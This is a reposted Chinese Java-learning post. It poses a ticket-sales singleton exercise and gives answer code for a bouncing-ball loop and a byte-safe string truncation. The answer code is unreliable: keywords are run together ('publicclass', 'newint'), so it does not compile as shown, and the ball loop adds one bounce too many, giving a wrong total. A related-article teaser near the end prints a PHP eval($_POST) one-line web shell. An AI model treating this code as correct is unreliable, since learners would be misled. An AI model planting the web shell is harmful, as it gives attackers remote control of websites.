每日一练(2017/5/22)

Java基础 | 数据库 | Android | 学习视频 | 学习资料下载

课前导读

●回复"每日一练"获取以前的题目!

●答案公布时间:为每期发布题目的第二天

●我希望大家积极参与答题!有什么不懂可以加小编微信进行讨论

★珍惜每一天,拼搏每一天,专心每一天,成功每一天。

题目要求 写一个类表示售票点,它只有一个私有属性库存票数,同时有两个公共方法:补仓及卖票 1、 票数初始值为100张,每次补仓可以补20张,每次卖票只能卖一张; 2、另外写一个模拟售票的类,模拟四个售票点一起卖票的过程,同一时间只能有一个售票点在 卖票,由顾客随机选择售票点,并且四个售票点共享库存票数。 当库存票数低于10张时可以选择是否补仓,若库存票数为0则退出程序。 (考察知识点:单例模式 Random的使用 不确定循环次数的循环 Scanner的使用) 读者可在本文最右下方留言留下你的答案!

上期练习题答案公布栏

1.一球从100米高度自由落下,每次落地后反跳回原高度的一半;

再落下,求它在第10次落地时,共经过多少米?第10次反弹多高?

(考察知识点:循环语句)

publicclass Num1 {

publicvoid ball(){

double num=100;

double height=100;

for (int i = 0; i < 10; i++) {

height=height/2;

num+=height*2;

}

System.out.println("小球10次共经过:"+num+"米");

System.out.println("第10次的高度为:"+height+"米");

}

publicstaticvoid main(String[] args) {

Num1 num1= new Num1();

num1.ball();

}

}


2.编写一个截取字符串的函数,任意输入一个字符串和字节数,返回该字符串的指定字节数,

但是要保证汉字不被截取半个,

例如:输入"哈123" 4 返回"哈12"

输入"哈123哈456" 6 返回"哈123哈" 而不是"哈123"+半个哈(乱码格式)

考察知识点:String类的使用 带参数有返回值的方法 字符与字节的关系 汉字的 字节处理 循环语句 判断语句

结果:

packagecom.homework;

importjava.util.Scanner;

publicclass Num3 {

publicvoid stringTest(String src, int length) {

char st1[] = src.toCharArray();

int st[] = newint[st1.length];

if (src.length() < length) {

length = src.length();

}

StringBuilder builder = new StringBuilder();

int max = 0;

for (int i = 0; i < st1.length; i++) {

if (st1[i] > 255) {

st[i] = 2;

} else {

st[i] = 1;

}

builder.append(st1[i]);

max += st[i];

if (max >= length) {

break;

}

}

System.out.print(builder);

}

publicstaticvoid main(String[] args) {

Scanner scanner = new Scanner(System.in);

System.out.println("请输入一个字符串");

String a = scanner.nextLine();

System.out.println("请输入一个你要截取的字符串字节数");

int b = scanner.nextInt();

Num3 num3 = new Num3();

num3.stringTest(a, b);

}

}

本文分享自微信公众号 - java学习(javaxxf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-05-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小樱的经验随笔

51 Nod 1057 N的阶乘【Java大数乱搞】

1057 N的阶乘 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 输入N求N的阶乘的准确值。 Input 输入N(1 <= N ...

28560
来自专栏小樱的经验随笔

密码学经典之生日悖论与生日攻击【详解】

生日悖论 在算法导论书上看到个比较有意思的概率算法,在这里加上自己的理解分享下: 上次刚看同学发的朋友圈说道:“两个人同一间宿舍,而且同年同月同日生,这个缘分真...

710120
来自专栏专知

【专知-Deeplearning4j深度学习教程01】分布式Java开源深度学习框架DL4j安装使用: 图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

55490
来自专栏专知

【专知-Java Deeplearning4j深度学习教程05】无监督特征提取神器—AutoEncoder:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

588110
来自专栏专知

【专知-Java Deeplearning4j深度学习教程04】使用CNN进行文本分类:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

3.2K70
来自专栏专知

【专知-Deeplearning4j深度学习教程03】使用多层神经网络分类MNIST数据集:图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

515110
来自专栏小樱的经验随笔

51 Nod 1008 N的阶乘 mod P【Java大数乱搞】

1008 N的阶乘 mod P 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 输入N和P(P为质数),求N! Mod P ...

30160
来自专栏专知

【专知-Deeplearning4j深度学习教程02】用ND4J自己动手实现RBM: 图文+代码

【导读】主题链路知识是我们专知的核心功能之一,为用户提供AI领域系统性的知识学习服务,一站式学习人工智能的知识,包含人工智能( 机器学习、自然语言处理、计算机视...

676100
来自专栏小樱的经验随笔

51 Nod 1027 大数乘法【Java大数乱搞】

1027 大数乘法 基准时间限制:1 秒 空间限制:131072 KB 分值: 0 难度:基础题 给出2个大整数A,B,计算A*B的结果。 Input 第1行:...

21540
来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

62530

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励